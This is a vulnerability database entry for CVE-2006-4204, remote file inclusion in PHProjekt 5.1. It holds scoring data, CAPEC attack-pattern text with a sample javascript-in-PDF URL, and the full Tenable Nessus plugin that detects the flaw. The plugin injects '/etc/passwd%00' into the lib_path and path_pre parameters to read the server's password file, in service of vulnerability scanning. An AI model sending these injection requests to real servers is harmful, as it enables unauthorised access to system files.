Vulnerabilities > CVE-2006-4204 - Code Injection vulnerability in PHProjekt

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
phprojekt
CWE-94
nessus
exploit available

Summary

Multiple PHP remote file inclusion vulnerabilities in PHProjekt 5.1 and possibly earlier allow remote attackers to execute arbitrary PHP code via a URL in the (1) path_pre parameter in lib/specialdays.php and the (2) lib_path parameter in lib/dbman_filter.inc.php.

Vulnerable Configurations

Part Description Count
Application
Phprojekt
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Exploit-Db

descriptionPHProjekt <= 5.1 Multiple Remote File Include Vulnerabilities. CVE-2006-4204. Webapps exploit for php platform
fileexploits/php/webapps/2190.txt
idEDB-ID:2190
last seen2016-01-31
modified2006-08-15
platformphp
port
published2006-08-15
reporterKacper
sourcehttps://www.exploit-db.com/download/2190/
titlePHProjekt <= 5.1 - Multiple Remote File Include Vulnerabilities
typewebapps

Nessus

NASL familyCGI abuses
NASL idPHPROJEKT_51.NASL
descriptionThe remote host is running PHProjekt, an open source groupware suite written in PHP. The version of PHProjekt installed on the remote host fails to sanitize user-supplied input to the
last seen2020-06-01
modified2020-06-02
plugin id22271
published2006-08-29
reporterThis script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/22271
titlePHProjekt <= 5.1 Multiple Remote File Inclusions
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description)
{
  script_id(22271);
  script_version("1.21");

  script_cve_id("CVE-2006-4204");
  script_bugtraq_id(19541);
  script_xref(name:"EDB-ID", value:"2190");

  script_name(english:"PHProjekt <= 5.1 Multiple Remote File Inclusions");
  script_summary(english:"Tries to read a local file using PHProjekt");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is prone to
multiple remote file include attacks." );
 script_set_attribute(attribute:"description", value:
"The remote host is running PHProjekt, an open source groupware suite
written in PHP. 

The version of PHProjekt installed on the remote host fails to
sanitize user-supplied input to the 'path_pre' parameter of the
'lib/specialdays.php' script as well as the 'lib_path' parameter of
the 'lib/dbman_filter.inc.php' script before using it to include PHP
code.  Provided PHP's 'register_globals' setting is enabled, an
unauthenticated attacker can exploit these flaws to view arbitrary
files on the remote host or to execute arbitrary PHP code, possibly
taken from third-party hosts." );
  # http://web.archive.org/web/20061016070655/http://www.phprojekt.com/modules.php?op=modload&name=News&file=article&sid=257&mode=thread&order=0
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?a60061e3" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to PHProjekt version 5.1.1 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/08/29");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/08/15");
 script_cvs_date("Date: 2018/07/24 18:56:11");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe",value:"cpe:/a:phprojekt:phprojekt");
script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0);
if (!can_host_php(port:port)) exit(0);

# Loop through various directories.
if (thorough_tests) dirs = list_uniq(make_list("/phprojekt", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  # Try various exploits.
  if (thorough_tests) exploits = make_list(
    "/lib/dbman_filter.inc.php?lib_path=",
    "/lib/specialdays.php?path_pre="
  );
  else exploits = make_list(
    "/lib/dbman_filter.inc.php?lib_path="
  );
  foreach exploit (exploits)
  {
    file = "/etc/passwd%00";
    r = http_send_recv3(method:"GET", item:string(dir, exploit, file), port:port);
    if (isnull(r)) exit(0);
    res = r[2];

    # There's a problem if...
    if (
      # there's an entry for root or...
      egrep(pattern:"root:.*:0:[01]:", string:res) ||
      # we get an error saying "failed to open stream".
      egrep(pattern:"main\(/etc/passwd\\0/(lib|selector)/.+ failed to open stream", string:res) ||
      # we get an error claiming the file doesn't exist or...
      egrep(pattern:"main\(/etc/passwd\).*: failed to open stream: No such file or directory", string:res) ||
      # we get an error about open_basedir restriction.
      egrep(pattern:"main.+ open_basedir restriction in effect. File\(/etc/passwd", string:res)
    )
    {
      if (egrep(string:res, pattern:"root:.*:0:[01]:"))
        contents = res;

      if (contents)
      {
        contents = data_protection::redact_etc_passwd(output:contents);
        report = string(
          "\n",
          "Here are the contents of the file '/etc/passwd' that Nessus\n",
          "was able to read from the remote host :\n",
          "\n",
          contents
        );
        security_hole(port:port, extra:report);
      }
      else security_hole(port);

      exit(0);
    }
  }
}